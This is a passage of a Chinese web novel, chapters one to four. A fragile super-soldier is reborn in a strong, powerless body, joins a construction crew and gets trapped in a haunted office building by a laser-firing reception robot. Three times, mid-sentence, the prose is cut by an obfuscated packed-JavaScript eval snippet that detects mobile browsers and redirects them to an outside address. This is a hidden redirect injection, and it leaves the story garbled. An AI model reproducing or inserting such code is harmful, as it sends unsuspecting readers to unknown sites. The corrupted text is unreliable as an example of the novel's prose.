《打异端不如去搬砖》 1. 第一章脆皮大佬转生为职业搬砖人 【想要能赚超高积分的工作吗？ 想要不加班还有双休的工作吗？ 想要有五险一金还提供住宿的工作吗？ 基地建设团，期待您的加入！ (点击链接，即可报名……)】 姒姽盯着手环中弹出的广告邮件，陷入沉思。 不久前，被誉为人类第一兵器的她还在一线战场上，和污染物斗智斗勇。 刚将小怪清理完，开始构思今晚庆功宴去哪里吃的姒姽突然眼前一闪，缓缓倒地。 “呼啦，呼啦，呼啦……” 治疗队的专属警报响起，断墙废铁中，姒姽瘫在地上，生无可恋。 这是这周第几次掉血到濒死状态？ 哦，第三次。 污染物呢？ 血条见底的姒姽努力抬抬眼皮，朝不远处半径约为两百米的大坑，瞟一眼。 前两秒还在的三米高巨型哥斯拉污染物，已经被她一个异能大招，扬得连灰都不知道哪里去。 “呵，废物。” 大BOSS被消灭干净，姒姽留下一句帅气的嘲讽，闭上眼，安心地准备昏迷过去。 “呜呜呜，队长，你再撑一会儿啊。 虽然你又因为被铁片绊了一跤，摔到濒死状态，但是我不许你说自己是废物！” 耳边响起熟悉的哀嚎。她的小副官雪绒冲到她身旁，向前滑跪，放开嗓子，持续性发出七分甜腻、三分做作的假哭声。 “哈？我说的是污染物！污染物，废物，懂吗！” 没有力气喊话的姒姽只能在内心咆哮。她努力将身体往上一撑，结果用力过猛。 好了，这下彻底动不了了。 雪绒没有管自家老大复杂的心理活动，双手往前伸，熟练抱住姒姽的肩膀，继续一把鼻涕一把泪地假哭着。 哭得越惨，显得伤的越狠，领到的补偿积分就越多。 姒姽并不缺这个积分，但立志被姒姽包养的小副官雪绒觉得，她缺。 被没心没肺的雪绒气到呼吸困难，姒姽一口气没顺过去，两眼一翻，彻底晕过去。 再度醒来时，身边是完全陌生的环境。破败的墙壁、潦草的铁皮屋、残破的……健身器材？ 姒姽不太确定自己是不是真的一口气没顺过来，嘎在雪绒的怀里。被誉为异管局超级大脆皮的她，濒死次数太多，对死亡的感受已经变得麻木。 心脏有过短暂的停止跳动，意识也有几分钟的消失。 呼吸？没注意。 等等…… 姒姽在脑中检索着濒死前模糊的记忆碎片，再显当时的感官。将精神全部集中在身体上时，她才感受到，这具身体给她带来的违和感是如此的强烈。 有力跳动着的心脏、厚重的呼吸气流、贯穿全身的生命力…… 这些不是她这个摔一跤都能把自己摔到残血的超级大脆皮能够拥有的。 姒姽立刻抬起右手，看向手腕处的智能手环。在这个时代，基地统一配置的手环是公民身份的唯一凭证。 此刻，手环虽然牢牢地贴在她的手腕上，却是完全陌生。 一直以来，她的手环是半透明型，编号为：S002。 但是现在，她手上的手环是铜色，编号为：C001。 C开头的编号被称之为三等公民，在基地公民体系里属于中下等。通过刚刚的身体感知，姒姽判断出这具身体没有异能，也没经历过机械改造。如此原始的身体能评上三等公民，不得不说原主很幸运了。 道理都懂，但眨眼间从特等公民贬为三等公民，巨大的落差好比是公司总裁降级为保洁阿姨。可获取信息的权限降低、生活区的改变、工作选择的困境……想到阶级降低带来的种种弊端，姒姽还是忍不住重重叹口气，郁闷地操作手环显示屏，企图发现更多线索。 手环能正常使用，上面的时间显示为：新历236年7月2日。上次出任务的时间是5月8日，时间将近过去两个月。 姒姽在心中估算着，点击手环上的搜索框，查询5月8日的新闻，却弹出一则提示：您的手环已欠费，无法使用网络功能。 看来原主不仅是个三等公民，还是个穷穷的三等公民。 被自己穷笑了的姒姽放弃挣扎，随意在手环上点来点去。 好友列表里只有三个人，头像是灰的，联系不上，可能是死了，也可能是在失联状态中。 积分，嗯，倒欠基地二百五，是个很幽默的数字。 昵称……嗯？ 她一愣，有些诧异，点击刷新界面后昵称栏中还是四个白色大字：暂无昵称。 在基地中，每个人出生后会根据基因检测的结果得到编号，相当于是基地给人取的名字。 但出于人道主义关怀，基地允许居民在不重复、不含敏感词的原则下，给自己取一个专属昵称，相当于是第二个名字，用于和朋友同事等人交流。 手环显示这具身体年龄为二十一岁，不算小，按理说已经取过昵称。 姒姽转念一想，倒也想到一个合理的解释。 在下等公民中有不少人会因为修改昵称要花费的高昂积分，而迟迟无法下定决心去定下昵称。毕竟昵称这个东西往往是取时满意的不得了，过两年就会令自己脚趾抠地。 姒姽盯着输入栏闪动的竖线，迟疑片刻后还是将“姒姽”二字写入框内。 响亮的“滴”声从手环内传出，紧接着的机械音让姒姽确信，她确实是死了。 “恭喜您，姒姽女士，昵称输入成功。” 基地昵称取定法则第一条：每个人的昵称不允许重复。 而这里所说的“人”指的仅是活人。 人死后所有的个人信息都会被基地注销，所以，活人用死人的昵称，当然可以。 姒姽盯着手环上白色的宋体“姒姽”二字，心中有种难以言说的复杂情绪。 看来，至少目前基地是判断“姒姽”物理意义上死亡。 虽然不知道是动了谁的蛋糕才被这样针对，但如今事态已成定局，与其想东想西，不如做点实事。 她从躺着的姿势转为坐着，暂时不去想死亡与重生中蕴含的阴谋，准备先站起身来探索周围的环境。 站起身后，姒姽才意识到，自己的身体与以前有多么的不同。 眼前景色变得开阔，废墟的布局尽收眼底，她甚至可以看到断墙后藏着的史莱姆型污染物碎片。 砖红色的断墙至少有一米七，以此为参照物估算，她的身高比一米七还要高。这种好事，过去连一米五都不到的她根本想都不敢想。 她做梦都只敢梦自己长到了一米六！ 姒姽有些兴奋，她喜欢现在的视角。 绕着这个称得上废墟的小场地走了几圈，她仔细观察周围的环境，排除危险的同时也在判断方位。 有人居住痕迹，那个小铁皮屋应该是她的“家”。屋内有瓶装水和食物，污染指数在安全范围内。远处能看到大面积的建筑物，应该离城区不远。 做出初步判断后，姒姽准备先往城区走走看。还未走出废墟，她的目光被一块残破的机械片吸引。机械片很大，有近两米高，外表光滑，在阳光照射下，能当镜子用。 她走到铁皮前，看着银灰色铁片上自己的镜像，惊呆了。 这健美的肌肉、八块腹肌、马甲线、将近一米八的大高个……我的天哪，这也太帅了吧！ 姒姽将身上那件已经染成灰黑色的白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904871|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背心往上拉了拉，摸完自己结实的腹部后，又摆出几个健身动作，忍不住露出变态的笑容。 这具身体是她最喜欢的类型，健康、结实、有力。 不像原本的她皮肤白嫩、身体纤细，脆弱、瘦小……这些对需要长期和污染物搏斗的战士而言，是致命的缺陷。为此她曾想过对身体进行机械改造，却因为检测出排异反应，只能放弃。 现在，重生代替改造，她拥有过去最想要的、强壮的身体。 拥有健美□□的喜悦让她暂时将失去异能和特等公民身份等烦心事抛到脑后，将铁片当作全身镜，照来照去。 照过瘾后，姒姽又忍不住手痒，在旁边的废弃健身器材处，一口气做了一百多个俯卧撑加五十多个引体向上。 新身体就是好啊，不像以前那样病殃殃的，现在的她浑身上下都是使不完的牛劲。 天色渐渐变暗，铁片上的倒影渐渐变淡，运动后分泌的多巴胺令她还有点意犹未尽，但她知道，该离开了。 只靠废墟中快要见底的食物和纯净水，活不了几天。长期倒欠基地积分会被列为失信人员，甚至还会被治安大队请去喝茶。 没有异能进不了异管局，现在的她必须赶紧找到新工作、赚积分、活下去！ “叮咚。” 如同心电感应生效，她的手环响起消息提示音。她点击邮箱查看，是基地宣传部发的短信。 【检测到您存在积分短缺的问题，现结合您的基因测评和综合素质报告，为您推送适合的工作。】 短信的下方是一张花花绿绿的宣传海报，绿底的版面上砖红色的花体字组成一段炫彩文字： 【想要能赚超高积分的工作吗？ 想要不加班还有双休的工作吗？ 想要有五险一金还提供住宿的工作吗？ 基地建设团，期待您的加入！ (点击链接，即可报名……)】 姒姽陷入沉思。 海报的文字和图案很没品味，但薪资待遇很有品位。 没钱联网的手环只能收到基地官方发的消息，即使这份招聘邮件离谱到像诈骗短信，但仍是可信度很高。 急需积分还债的姒姽果断点击链接，预约了第二天的面试。 第二天的清晨，姒姽离开废墟，跟着手环导航的指引，来到面试的地点。 面试的地点是普民区里的一栋七层楼的水泥房……中的一个小办公室。 姒姽打开门，只见不到七十平的小工作室内摆满棕色纸箱、铁锹、铁铲、机械臂等杂物。 杂乱的办公室中，两个四十岁左右的中年男人正坐在角落的废纸箱上，悠哉吃着早茶。 而在靠近门的位置，一个几乎被铁质工具淹没的十六岁女孩，穿着全套维修服，打磨机械设备。 “有人来了。” 见门被打开，女孩没有抬头，淡淡地开口道。 她仍在专心给设备抛光，嗡嗡的轰鸣声几乎掩盖她说话的声音。 两个躲在角落摸鱼的男人听到提醒，麻利地放下手中还没吃完的肉包和茶叶水，跨过地上堆积的废纸壳，走到门前。 “哈哈，是新来的吧，小闺女长得真招人稀罕。 那个，位置有点小哈，先进来说吧。” 说话的那个男人满脸尬笑，语气温和中带着些尴尬和心虚。 被新来的小闺女抓到自己上班摸鱼，就算是职场老油条也会感到不好意思的。 杂乱的办公环境、摸鱼的大叔、疑似童工的小女孩……姒姽开始怀疑那封招聘广告其实就是诈骗信息。 迟疑片刻后，她心一横，径直走进这间狭小且杂乱的办公室。 算了，等问清楚工资后再逃也不迟。 2. 第二章靠谱的工作和不靠谱的打工人 特意没有关门，给自己留好退路的姒姽刚走进工作室，就被两位一脸谄媚的大叔围住。 “小闺女，把码给叔扫一下，核验哈子信息。 哎呀，这年头能加入基建团的年轻人不多了，啧啧啧，真是好孩子啊。” 两人中更年长一些的那位两眼放光地盯着姒姽，上下打量，用带有奇怪口音的大嗓门说道。 说着，他麻利地挽起墨绿色的衬衣袖子，露出手环，将小麦色的手臂伸向姒姽。 姒姽也伸出手，将手环上的个人信息二维码递过去。 两个手环靠近，伴随“滴”的一声，大叔的手环就接收到她的简历。 【编号：C001 昵称：姒姽 基因测评：三等 异能：无 身体素质(力量耐力综合测评)：特等 ……】 “哎呦，特等啊。可惜没个异能，要不然肯定能被异管局那边收编，混个金饭碗。” 扫码的大叔翻看虚拟屏显示出的个人报告，一会儿叹气，一会儿惊呼。 旁边更沉稳些的大叔假咳几声，见他还在絮絮叨叨地说些有的没的，干脆用胳膊肘狠狠怼了他一下，乐呵呵地打圆场道。 “似……C001啊，你别听老赵的，那异管局也没啥好的，事儿多不说，还要在一线赌命，不如我们这儿好。 工资高、事还少，危险嘛……至少比异管那边低，小心点儿，干到退休没问题。” 被怼的大叔瘪瘪嘴，想说的话被老搭档给抢着说了，只能不甘心的找茬道。 “喊人家孩子编号干嘛，都要成为一个组的人了，肯定要喊也是喊昵称啊，对吧，以危？” “噗嗤。” 一声轻笑从角落处传来，刚刚还在打磨装备的女孩已经停下手中的活儿，用看猴子的眼神，静静地看着屋子中央的三人。 “小慧澜啊，你笑啥子啊？” “赵叔，别人是叫姒姽，不是以危。” 慧澜晃晃戴着手环的手腕，她刚看完手环上同步更新的姒姽简历。 “哎呀，这样啊，还是小慧澜读的书多，认字厉害啊。我还以为所有不认识的字，认半边就得了，哈哈哈。” 被指出错误的赵叔没有恼，爽朗地笑着道。 “不好意思哈，死……姒姽，我是基建团第二十五组组长赵平安，叫我赵叔就行。 她是慧澜，负责装备维修和数据处理，这个是李德安，负责出外勤。 组里面还有俩人，和你差不多大，还在外头出外勤，等回来再介绍给你认识。” 赵平安介绍完后，李德安拿出刚从纸箱中翻出来的工具箱，递给姒姽。 “四……姒姽啊，这里面有工作服和一些基础的工作装备，具体的使用指南和注意事项已经发到你的邮箱里，今天回去后好好看看，有不懂的问我和老赵都行。” 姒姽接过沉甸甸的工具箱，装满设备的箱子李德安要用两个手捧住，而姒姽接过后，用中指一勾，就将它稳稳勾住。 慧澜盯着姒姽精壮的小臂，嘴角微微上扬，难得有些愉悦。 “姒姽姐，我喜欢你的昵称。姒是上古姓氏，姽又有娴雅的意思，能取出这个昵称，你也很喜欢读书吧？” 面对慧澜亮晶晶的眼睛，姒姽实在不忍心告诉她，这个昵称是她为了掩盖自己文化课差的事实，特意翻古汉语词典取的。 而且，看到别人盯着自己的昵称不敢读出声，再三犹豫斟酌，最后开始怀疑自己文化水平……真的很爽诶！ 不好意思说出自己的恶趣味，姒姽尬笑两声，将这个话题轻飘飘带过。 “哈哈，算是吧……对了，我们这个基建团具体工作是什么啊？造房子这种工作不都是人工智能做的吗？” 赵平安刚想开口解释，感受到慧澜不满的目光后，默默闭嘴。 “确实，基地的基础设施建设和维修一般是由人工智能全过程负责。 但是，被污染物破坏的建筑物仍然需要人工参与进行维修。 异管局的人战斗时使用的异能，会和污染物的污染信号发生反应，产生感染性磁场，使人工智能和智能机械设备无法正常运行。 这种干扰短则几个小时，长则几年，而且……” 慧澜还未说完，赵平安已自顾自的绕到她身后，揉了把她刚洗的蓬松头发，打断她接下来长篇大论的科普，插嘴道。 “所以，这时候就需要我们这些人来搬砖喽。 嘿嘿，而且这种干扰对改造人也有影响，所以只能由我们这些普通人来干。 工资高、待遇好，除了要卖点力气，没啥不好的。” 赵平安语气自豪，盯着姒姽结实的手臂肌肉，满意地点点头。 “闺女，相信叔，以你这身体素质干我们这一行儿绝对是手拿把掐的。 你要是愿意来，今天就给你分房子，明天就能上班。” 听到赵平安说到分房子，姒姽立刻眼睛一亮。 这待遇，不是异管局那边才有的吗？ “那个……” “怎么了？是工资不满意还是工作时间不满意？这些都可以商量着来的，还是……” 李德安以为姒姽想要拒绝，着急地推开不着调的赵平安，开口挽留。 本来组里最近就缺人，现在好不容易来了这么肥的一只羊，不对，是这么好的一个苗子，他可舍不得放她走。 姒姽连忙摆手表示自己没有拒绝的意思后，尴尬地笑笑，开口道。 “那个，我手上没积分了，能先预支下工资吗？” “你手上的积分有多少？” “倒欠基地二百五。” 一阵尴尬的沉默后，姒姽的手环传出悦耳的机械提示音。 “叮咚，已到账积分两千五……” “咳咳，这个月工资先发给你，住宿的位置等会儿慧澜带你去。 明早八点上班，还是来这里集合，我和老赵带你出外勤。” “好嘞，谢谢叔！” 有了积分就有了底气，虽然这积分数连她以前出一次任务的零头都不到，但她还是很知足。 还清基地的二百五十积分欠款，坐在废纸箱上，陪慧澜打磨完最后一台装备后，姒姽跟着慧澜来到建设团分的员工宿舍。 “姒姽姐，这是你的房间，一梯两户，旁边那间是我在住，你有什么事可以过来找我。” 比姒姽矮一个头的慧澜将钥匙递到她的手上，小大人似得叮嘱道。 慧澜蓬松的短发让姒姽想起雪绒，可爱小巧，但更成熟稳重。 姒姽接过钥匙，微笑着回应。 “好的，明天见。” 基建团分的员工宿舍不大，一室一厅，一个人住够用。 设施有些老旧，和特等公民的待遇自然是不能比的，但胜在干净整洁，还附赠衣服和食物。 没有要收拾的行李，姒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904872|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姽洗个澡换身衣服后，便往床上一躺，用终于连上网的手环刷起最近的新闻。 新闻不算多，零零碎碎的，不是哪里有污染物出现，就是哪家的人造人又出新型号。 最劲爆的还是号称“人类第一兵器”S002不幸牺牲，不过距离报道时间已经过去将近两个月，所以热度还没“基地第一美人”宣布加入异管局来得高。 没找到有用的信息，姒姽索性刷起短视频，困了直接闭眼睡觉。 一觉醒来，已是早上七点。 姒姽悠哉洗漱完毕后，随手扎了个高丸子头，穿上工具箱里配备的橙色工作服，提着工作箱就去上班。 上班前她顺路敲响隔壁慧澜的门，结伴一起前往办公室。 “这个点出门其实早了点。” “不是八点集合吗？现在七点半，不早了。” 慧澜揉揉惺忪的睡眼，没有解释，只说了句。 “你等会儿就会知道的。” 到办公室后，刚好八点过五分，办公室内一个人也没有。 直到八点半，赵平安和李德安两人才姗姗来迟。 看着赵叔李叔两人一手拿卷饼，一手拿豆浆，不紧不慢走进来的样子，姒姽就知道，这个班她上对了。 “哎呀，这孩子真实诚，说八点来就八点到，慧澜你也不提醒一下。 咱们这没什么规矩要求，随意点儿，平时上班迟到个半小时一小时的，不碍事。” 赵平安咬口卷饼，乐呵呵道。 “外勤任务的具体内容刚发给你了，你先看哈子，我和老李吃完这个饼儿就带你去现场。” 姒姽点点头，打开手环中刚接收的新邮件。 【地点:C区29路53栋金澎传媒有限公司 异端状态：已清除 现场消杀清理工作：已完成 异化因子指数：安全状态(0-20%) 建筑物损毁状态：中级一等 工作内容：清理现场建筑垃圾，按照建筑图纸完成大楼初步修整工作 工作时长：一周 奖励积分：5000积分】 看起来是个没什么危险，赚得积分还多的好活儿。 异端都被异管局的人消灭干净，现场也被消杀队消毒完毕，需要他们基建团做的，不过是在磁场紊乱恢复前，搬搬砖、建建墙、打扫一下建筑垃圾，简直不要太轻松。 姒姽有生以来，还是第一次干这种不用和异端打交道的工作。 不用忍受污染气流，也不必担心精神失控，只需要出体力就行。这对拥有特等身体素质、能一口气搬五袋水泥的姒姽而言，和休假没有区别。 “好嘞，走吧，该干活儿去咯！” 随手抹掉嘴边的饼屑，赵平安与李德安两人已背好工作包，手提工具箱，招呼着姒姽出门。 坐上基建团的通勤专车，大概半小时才能到达修建地点。 窗外是飞速而过的水泥房和铁皮房，普民区没什么风景可看。 “金澎传媒有限公司是个什么公司？” 姒姽将目光转回车内，漫不经心地打开刚刚查看过的工作资料，开口道。 “你不知道吗？那个公司蛮有名的，虽然是咱们普民区的，但在精英区也排得上名头咧。” 前精英区居民姒姽选择尴尬一笑，这公司她还真没听过。 见姒姽不知道，赵平安也来了兴致，清清嗓子，化身专业讲解员。 3. 第三章出不去的办公大楼1 “闺女你也刷手环推送的那些短视频、短剧什么的吧？ 以前很多博主、公司啊什么的，为了流量好看，会用AI进行数据造假，搞些虚拟的点赞和评论，甚至编造垃圾的AI合成视频。 后来基地不是搞了个清网行动吗？咱们的手环系统就跟着搞了个防AI的数据升级。 那些AI编写的评论和视频直接被系统审核屏蔽，想刷都刷不到。而编写这个防AI程序的，就是金澎传媒公司。” 赵平安说着，语气中透露着自豪。 能接到和基地系统相关工作的，以往只有精英区的人。这个防AI项目虽然属于不被重视的娱乐板块，但能被普民区企业搞到手，也让他们这些普民扬眉吐气一回。 姒姽点点头，目光再次瞟向窗外。 此时，已经到达普民区与精英区的交接处，建筑物的高度和精致度明显高上一大截。 前方不远处有半座很气派的大楼。大楼生前应该有三十多层高，即使如今上半段被炸毁成一个U型，焦黑的钢铁碎片在大楼四周快堆积成一座座小山。但未被破坏部分，高级钢材反射出耀眼的光，还是可见金钱的气息。 “唉，可惜了，这么好的楼，被异管局的人毁的只剩半截咯。” “不是污染物毁的吗？” 姒姽反驳道。赵平安听了，无奈笑笑。 “污染物是毁了部分，但大头还是异管局那边的人弄的。 有异能的精英们啊，用起异能没个控制，好比是大炮打蚊子。这异端是灭了，楼也毁个干净，唉。 这次的破坏程度还算是好的了，要是S002还在的话，她一个异能这一块就能被轰成平地，连个楼的影子都不给你留，顶多剩个地基，哈哈。” 前罪魁祸首姒姽也跟着尬笑两声，心虚地闭上嘴，背好工具包，准备下车。 大楼只有上半部分损坏严重，下半部分倒是完好无损，可以正常进入。 李德安拿出预先准备好的门禁卡，放至刷卡处，伴随“叮咚”一声，豪华防弹玻璃大门缓缓打开。 穿戴好全套防护服的三人提上工具箱、背好工具包，走进大楼。 第一层是会客大厅，洁白的主色调中摆放着银灰色的桌椅，如同艺术品。 格调、科技感、艺术感……公司的主人不但很有品味，也很有钱。 楼已经被污染物破坏，处于荒废状态，但大楼的电依旧是二十四小时全天供应。 明亮的白色灯光将楼内照的比外面还要亮，宽广的大厅尽显留白艺术，可见老板的豪气。 “啧啧啧，咱基建团的办公室啥时候能有这一半好就知足了。 唉，这照明工具算是白带了。得，我去把这手电筒什么的扔车上，减轻负重。” 赵平安自说自话，提着三个手电筒，转身往门外走。 “咦？这门怎么开不了啊？” 门禁卡放在刷卡机上，伴随“叮咚”一声，门却没有打开。 “警告，非下班时间，员工禁止外出！” 冷冷的机械音在大厅内回荡，赵平安没慌，半开玩笑地打趣道。 “瞧瞧，还把咱们当正式工了。老李，你来试试，应该是门禁系统坏了，修修就行。” 李德安没有接话，手上拿着一个类似测温枪的仪器，面色凝重。 “怎么了？” 姒姽朝仪器显示屏上瞟一眼，只见红色的界面在闪动，上面似乎有数字在不断变化。 “可能不是系统故障，这里有问题。 污染值在不断上升，已超过安全范围，快检查防污染装备是否佩戴完好。” 赵平安立马收敛笑容，打开手环上的检测系统，对着三人的防护服进行扫描。 确定自己和姒姽、李德安三人的防护服都处于完好状态后，他立刻蹲下，打开工具箱，翻找爆破工具。 “准备爆破吧，这里不能呆下去了，咱们都没异能，不是污染物的对手。 老李，快联系异管局，让他们派人来救场子。” “已经在联系中……不行，这里没网，联系不上。” 李德安尽力维持冷静状态，但他颤抖着的音调仍暴露出他的恐惧。 “靠，闺女，你先别怕，咱再撑一会儿，等叔把门给爆开。” 赵平安吞吞口水，努力用温和的语气安慰着三人中最冷静的姒姽，蹲在地上安装爆破工具。 姒姽倒是不算害怕，虽然现在的她没了异能可用，但过去无数次和污染物打交道的经验让她明白，绝大部分污染物都很弱，只要朝着核心点攻击，不说彻底消灭，保命是没问题的。 她打开手环的污染物检测系统，系统遭受磁场干扰，无法正常使用，只能显示一片乱码。 系统靠不住，姒姽警惕地在四周查看，没发现刻意线索。 “好了，老李，我要准备爆破了，你和闺女先往后躲躲。” 赵平安将组装好的爆破装置安装在大门上，三二一的倒计时后，一片白光爆出，紧接着三人眼前都是一片漆黑。 大楼的灯灭了。 “咦，我也没闭眼啊，老李，闺女，你们看得见吗？” “看不见。” “看不见。” 赵平安打开身旁那个没能成功放回车内的手电筒，一束白色的光出现，还未等三人看清周围的状况，这束白光也被黑暗吞没。 “靠，邪门了，手电筒没法用。” 黑暗仿佛有实体，能吞没一切。赵平安气急败坏地将手电筒甩到一旁，摸索着姒姽和李德安两人的位置。 “还好，你们都在这儿。” “先试着往大门方向走吧，说不定门已经被炸开了。” 李德安抓着姒姽的小臂，按照记忆中的方位，带她往门处走。 三人还未走两步，黑暗消失，眼前又是一片白光，如同昼日。 “草，这是要弄啥子啊！” 光线的变化让赵平安眼睛是一痛又一痛，哀嚎道。 姒姽在发现黑暗消失后立刻闭上眼，然后慢慢睁开，适应眼前的光亮。 眼前的大厅与进来时一样，没有任何改变。 安装好爆破装置的门也完整如新，连一条裂痕也没有，仿佛什么都没发生。 “不行，这门还是打不开。” 姒姽走到门前，朝门猛地踹一脚。 门被踹得嗡嗡晃了几下后，再度回归平静。 还未等三人商量接下来的打算，一个甜美的机械音响起。 “您好，请出示工作证。” 三人回头朝声源望去，只见前台后方不知什么时候多出一个人形机器人。 机器人拥有年轻女性的外貌特征，长相甜美，职业化的笑容挂在脸上，拟人度很高。 “您好，请出示工作证。” 姒姽三人警惕地盯着这位诡异的机器人小姐，与她保持安全距离。 没有得到回应，机器人的表情逐渐狰狞， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904873|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔的机械音中参杂着的诡气愈发强烈。 “您好，请出示工作证！” 这是第三次重复，不详的气息在大厅内蔓延。 “那个，这个算工作证吗？” 姒姽率先走向机器人，拿出口袋中的基建团工作证。 机器人表情凝滞，陷入宕机状态。 还未等姒姽走到前台附近，机器人突然咧开嘴，露出诡异而狰狞的笑容。 “工作证检测错误，非工作人员，清除！” 机械音结束后，机器人的眼睛突然由正常的黑色变成红色，一束红色的光束从它双眼中射出。 “快躲开！” 赵平安与李德安同时喊道，冲向姒姽所在的方位。 姒姽在机器人露出笑容的那刻就意识到不对劲，立刻往右侧跳去，在激光射向她的那一秒，往地上一趴，躲过一劫。 红色的激光打到姒姽身后的银色雕塑上，雕塑立刻融化为一滩银灰色的铁水，看得三人一阵后怕。 还未等姒姽感叹自己如今动作的矫健，机器人的眼睛再度对向她，红色的激光蓄势待发，死亡的危险仍未解除。 “赵叔，门禁卡给我，快！” 门禁卡从赵平安手中扔出，在空中形成一个完美抛物线，落到姒姽脚边。 “我有工作证！” 姒姽朝着机器人展示手中的门禁卡，卡面上出现崭新的文字： 【工作证：C001，技术部6区普通职员】 机器人眼中的红光逐渐变暗，恢复至正常的黑色瞳孔。 “好的，身份核验完毕。” 说完后，机器人将目光转向赵平安，露出职业化微笑。 “请出示工作证。” 赵平安背后直冒冷汗，这次出勤总部只寄过来两张门禁卡，一张甩给姒姽，一张在李德安手里。 看来他老赵是要命丧于此了。 “接着！” 李德安将门禁卡抛给赵平安，急切喊道。 赵平安看着卡片飞来，愣在原地，没有捡。一旦用手触碰卡片，极有可能会使门禁卡转化成自己的工作证。 他是很想活，但抢夺兄弟生存机会的这种活命法，他老赵没脸要。 “你别犟了，快捡，我有解决的法子。” 心知李德安是个比自己还犟的犟种，再坚持下去就是无谓的牺牲，甚至可能会把姒姽这孩子拖下水。 赵平安心一横，捡起门禁卡。 “身份核验完毕。” 赵平安还未松口气，机器人的目光转向李德安，甜美的声音如同催命符。 “请出示工作证。” 李德安自然是还没来得及想出解决的法子，刚刚那番话无非是为了稳住赵平安，让他用门禁卡自救。 正当李德安闭上眼，准备迎接死亡时，姒姽的声音突然从不远处传来。 “李叔，接着！” 李德安头脑发懵，伸出手，一张金色的工作证稳稳落在他的手里。 【工作证：李经理，技术部总监高级职工】 机器人视线捕捉到李德安手中工作证的一瞬间，突然脸色大变，职业假笑转化为谄媚的笑容，就连声线也变得妩媚动人。 “欢迎李经理，感谢您为公司做出的贡献，祝您拥有愉快的一天！” 面对机器人的殷勤问候，李德安摸不着头脑，呆呆看向扔给他工作证的姒姽，问道。 “这是怎么一回事啊？” 4. 第四章出不去的办公大楼2 大约十秒前，差不多是李德安掏出门禁卡，准备扔给赵平安那刻，姒姽的手环收到一条紧急消息。 【刷卡处，盆栽旁】 简单直白的六个字，只有地理方位。 消息来自手环中自带的神秘好友，也就是那三个灰色头像中的一个。 此刻，好友列表最上方，陨石边牧的头像亮起，头像右边显示好友昵称：智。 来不及多想，姒姽冲到玻璃大门旁的刷卡机前，在刷卡机附近的一个人造盆栽后方，找到一张用挂钩挂着的工作证。 一把抓住工作证，用抛铅球般的姿势将证甩到李德安手中，随后便出现刚刚那一幕。 “是啊，你咋知道这工作证在哪儿的啊？” 赵平安也追问道，回忆起前台机器人小姐谄媚的笑容和甜腻的声音，他不禁打了个哆嗦，全身一阵恶寒。 姒姽自然不会实话实说，神秘人发消息报道具点位这种事，说出来她都觉得很扯。 她回头看向前台，恰巧与机器人小姐来了个对视。好在，机器人小姐只是静静地站在前台后方，微笑着注视三人，没有攻击性的举动，如同进入待机状态。 “嗯……这个嘛，让我组织下语言。” 大脑飞速运转，运用废话拖延时间，几分钟后，姒姽灵光一闪，弄清楚原因。 “上班和下班都需要打卡来计算出勤率，尤其是大型公司，打卡制度会更加严格。 普通职工当然只能老老实实遵守，但如果是公司的高层领导呢？也会老老实实每天都亲自打卡吗？” “他会让别人代打卡。” 李德安很快领会到姒姽的意思，接话道。 将自己的工作卡放在特定位置，如果当天迟到或者想早退，就让下属来代替打卡，这是有一定地位的职场老油条常用的手段。 “那人脸识别怎么办？” 赵平安话刚说出口，还未等姒姽与李德安解释，就恍然大悟道：“嘿，我也是傻了，难怪人事部至今还无法被人工智能取代，原来在这儿等着呢，哈哈！” 无法被AI取代的人事部和财务部，这是基地打工人中流行的黑色幽默。 感谢这些职场老油条和黑色幽默，不然怎么能找到这张野生工作证呢？ 姒姽在心中如是说道。 至于那位名为“智”的陨石边牧为什么能知道她现在的处境，以及这张至关重要的工作证的位置，只能等离开大楼后再去探查了。 被监控的感觉在心中蔓延，姒姽有些不爽，深吸一口气，使自己保持冷静。 “不行，这张卡也刷不开门。” 李德安用姒姽递给他的工作证尝试开门，也被“工作时间，请勿外出”的机械音劝退。 “公司下班时间是几点？” 三人面面相觑，都是来搬砖的人，谁管别人公司的下班时间啊。 最终，目前职位最高的李经理李德安自觉承担重任，走到前台，向这个一言不合就拿激光烧人的机器人开口道。 “几点才能下班？” “您好，很高兴为您服务，您的下班时间为下午五点。” 机器人微笑着，尽职尽责地回答。 三人看向大厅里摆放着的电子钟，上面显示的时间为：2:00。 距离下班时间只有几个小时，等等就能出去，李德安松口气。赵平安见问时间的李德安没有被机器人针对，也壮着胆子凑到前台问。 “我呢？也是五点下班？” 机器人脸上的笑容顿时收起八分，用冷冷的机械音回复。 “您的下班时间也为五点……” 还未等赵平安与姒姽两人松口气，机器人小姐突然露出阴森的微笑，补充道。 “如果，您能在五点前完成所有工作。” 